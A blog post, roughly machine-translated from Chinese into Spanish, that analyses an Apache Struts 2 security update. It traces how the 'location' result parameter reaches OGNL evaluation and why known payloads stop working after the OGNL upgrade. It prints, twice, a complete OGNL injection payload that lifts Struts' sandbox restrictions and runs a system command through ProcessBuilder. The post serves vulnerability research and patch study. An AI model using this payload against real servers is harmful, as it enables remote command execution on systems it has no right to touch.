¿La vulnerabilidad de inyección de expresión OGNL es cosa del pasado?

Porque

Struts2今年来爆出一系列安全漏洞,以至于在官方release页面,还专门罗列了各个版本对应的CVE漏洞,也算是一大奇观。
![struts_release](https://img-blog.csdn.net/20180716180339458?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3UwMTMyMjQxODk=/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70)

漏洞频发的struts2虽然饱受诟病,但因为其自身优秀、灵活的能力,仍有大量企业和开发人员使用它,黑客和安全研究人员也趋之若鹜,一旦有官方有版本更新或补丁,便立即冲上前,反复寻找各种可能被利用的漏洞。
2018-07-12,struts突然发布了新的版本(Struts_2_3_35),老大叫我看看官方升级的原因,于是有了下面这个文章(疑问)

Análisis de comparación de versiones

La versión de esta actualización es: Struts_2_3_35. La fecha de lanzamiento de la versión anterior todavía es septiembre de 2017, con casi 10 meses de diferencia. Traiga rápidamente las dos versiones al local, y sus colegas comparan las diferencias entre las dos versiones en github.

Las principales diferencias son las siguientes:
1. Cuando exista un espacio de nombres, evite analizar el espacio de nombres
( Evite analizar el espacio de nombres al usar el espacio de nombres existente)
2. Actualice el marcador libre (de 2.3.22 a 2.3.28)
(Actualiza el marcador libre)
3. Otras actualizaciones

En términos generales, el funcionario dijo que para evitar analizar el espacio de nombres, de hecho
, agregue una oración parseLocation = false delante de if (namespace == null); y este enfoque está realmente en el archivo StrutsResultSupport.java antes de llamar al método conditionalParse, agregue Una capa de protección.
Los cambios son los siguientes:

     public void execute(ActionInvocation invocation) throws Exception {
-        lastFinalLocation = conditionalParse(location, invocation); //变更前的代码
+        lastFinalLocation = parseLocation ? conditionalParse(location, invocation) : location; //变更后的代码
         doExecute(lastFinalLocation, invocation);
     }

Se puede ver que el código modificado es equivalente a juzgar el indicador parseLocation antes de ejecutar el método conditionalParse, y después de establecer parseLocation en falso, el método conditionalParse no se ejecutará.

Siga el método conditionalParse

    protected String conditionalParse(String param, ActionInvocation invocation) {
        if (parse && param != null && invocation != null) {
            return TextParseUtil.translateVariables(
                param, 
                invocation.getStack(),
                new EncodingParsedValueEvaluator());
        } else {
            return param;
        }
    }

Se puede ver que el parámetro para, que es la ubicación que pasamos anteriormente, se pasará al método TextParseUtil.translateVariables para hacer el cálculo de la expresión OGNL.

Mientras investigaban varios archivos corregidos por el gobierno, descubrieron que establecían parseLocation = false; el propósito es evitar que la aplicación ingrese el archivo StrutsResultSupport.java y llame al método conditionalParse para analizar la variable de ubicación.

Así que concéntrese en el archivo StrutsResultSupport.java, la cantidad de código no es mucho, primero mire los comentarios en frente del archivo


 * 是所有Struts Action执行结果的基类

 * location是默认的参数(诶,看起来有戏)

 * 这个类为所有子类提供两个通用的参数

 * location 是执行后要跳转的地方(可以是jsp页面或者其他的action)
 * 
 * parse 默认为true, 如果设置为false, location将不会被当做表达式解析
 * 
 * encode 默认为false, 如果设置为false,location参数将不会被url编码,只有当parse设置为true时,才会有效

Ejemplos

* In the struts.xml configuration file, these would be included as:
* 在struts.xml配置问文件中,可以这样引入

<result name="success" type="redirect">
    <param name="<b>location</b>">foo.jsp</param>
</result>

 或者
 <result name="success" type="redirect" >
     <param name="<b>location</b>"> foo.jsp?url=${myUrl} </param>
     <param name="<b>parse</b>"> true </param>
     <param name="<b>encode</b>">true</param>
</result>


如果需要定制化result,可以在struts.xml文件中这样定义:
<result-types>
       ...
 <result-type name="myresult" class="com.foo.MyResult" >

</result-types>

El comentario indica claramente que esta clase es la clase base para todos los resultados de ejecución de la acción Struts, la ubicación es el parámetro predeterminado y representa la dirección u otra acción a la que se debe redirigir el programa después de ejecutar la acción. En el ejemplo, el parámetro de ubicación representa que el programa calculará el valor de myUrl y saltará a la dirección correspondiente en función del resultado de la ejecución de la acción.

El método de uso es más exigente, lo que requiere que el usuario introduzca StrutsResultSupport o sus subclases en Struts y establezca el parámetro de ubicación según el ejemplo.

Ya está aquí, solo continúa analizando. Sucede que StrutsResutSupport tiene un caso de prueba StrutsResultSupportTest correspondiente, y su testParse solo se usa para probar si la aplicación puede analizar la expresión de ubicación normalmente, por lo que el valor en la ubicación se modifica y myLocation se cambia a las cargas útiles que usamos para las pruebas.

(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmds="calc.exe").(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())

Como se esperaba, la calculadora que quería no apareció.
¿Es un problema con las cargas útiles? Como un poco blanco, para mí, tales cargas útiles complicadas deben haberse descargado directamente de Internet, así que descargué varias cargas útiles de Internet. ¡Una por una, descubrí que no era un problema de las cargas útiles!

Debe haber algo mal!

Entonces, Xiaobai usó una técnica horrible para romper la depuración de puntos, cambiar versiones, cambiar cargas útiles, comparar diferencias de versiones y finalmente ... darse un montón de problemas para aprender y resolver.

Razones para cargas útiles inválidas

Después de la comparación capa por capa, se encuentra que la versión OGNL se ha actualizado. En STRUTS_2_3_35, la versión de OGNL es 3.0.21, y en STRUTS_2_3_33, la expresión de OGNL es 3.0.19. Comparando las dos versiones de OGNL, se encuentran las siguientes diferencias:

Archivo OGNL.java

Archivo OGNLContext.java

Escriba una descripción de la imagen aquí

Hay demasiados códigos, no completos, pero en general, es eliminar CONTEXT_CONTEXT_KEY (contexto) y CLASS_RESOLVER_CONTEXT_KEY (_classResolver) y el método correspondiente, de
acuerdo con el nombre del método puede juzgarse aproximadamente, la aplicación puede obtener una instancia de clase basada en CONTEXT_CONTEXT_KEY

En combinación con las cargas útiles y los mensajes de error durante el proceso de depuración, finalmente descubrí el significado de las cargas útiles y el código anterior

(# dm = @ ognl.OgnlContext @ DEFAULT_MEMBER_ACCESS). (#_ memberAccess? (#_ memberAccess = # dm): ((# container = # context ["com.opensymphony.xwork2.ActionContext.container"]). (# ognlUtil = # container.getInstance (@ com.opensymphony.xwork2.ognl.OgnlUtil @ class)). (# ognlUtil.getExcludedPackageNames (). clear ()). (# ognlUtil.getExcludedClasses (). clear ()). (# context. setMemberAccess (#dm)))). (# cmds = ”calc.exe”). (# p = new java.lang.ProcessBuilder (#cmds)). (# p.redirectErrorStream (true)). (# process = # p.start ()). (# ros = (@ org.apache.struts2.ServletActionContext@getResponse (). getOutputStream ())). (@ org.apache.commons.io.IOUtils@copy (# process.getInputStream (), # ros)). (# ros.flush ())

No presentaré aquí las expresiones OGNL y sus métodos de cálculo (con fealdad), combinadas con cargas útiles, supongo que debería ser un flujo de trabajo de este tipo.

Debido a la relación especial de la gramática OGNL, las cargas útiles parecen un poco complicadas. Combinando el código fuente, podemos descomponerlo. Es principalmente para los siguientes propósitos:

Escriba una descripción de la imagen aquí

En este punto, después de analizar las cargas útiles, también podemos entender por qué OGNL prohíbe el campo Contex y elimina CONTEXT_CONTEXT_KEY (contexto) para evitar que usuarios maliciosos construyan y generen com.opensymphony.xwork2.ognl.OgnlUtil instancias, ejecutando así el método clear () para evitar la seguridad Restricciones

El problema

De acuerdo con la situación actual, las cargas útiles que circulan en Internet no deben usarse antes. OGNL prohíbe obtener valores a través de #context ["com.opensymphony.xwork2.ActionContext.container"]. Bajo tales restricciones, deberíamos usar la estructura de manera efectiva Cargas útiles? ¿La vulnerabilidad de inyección de expresión OGNL es "pasada"?

30 artículos originales publicados · Me gusta 13 · Visitas 100,000+

Supongo que te gusta

Origin blog.csdn.net/u013224189/article/details/81091874
Recomendado
Clasificación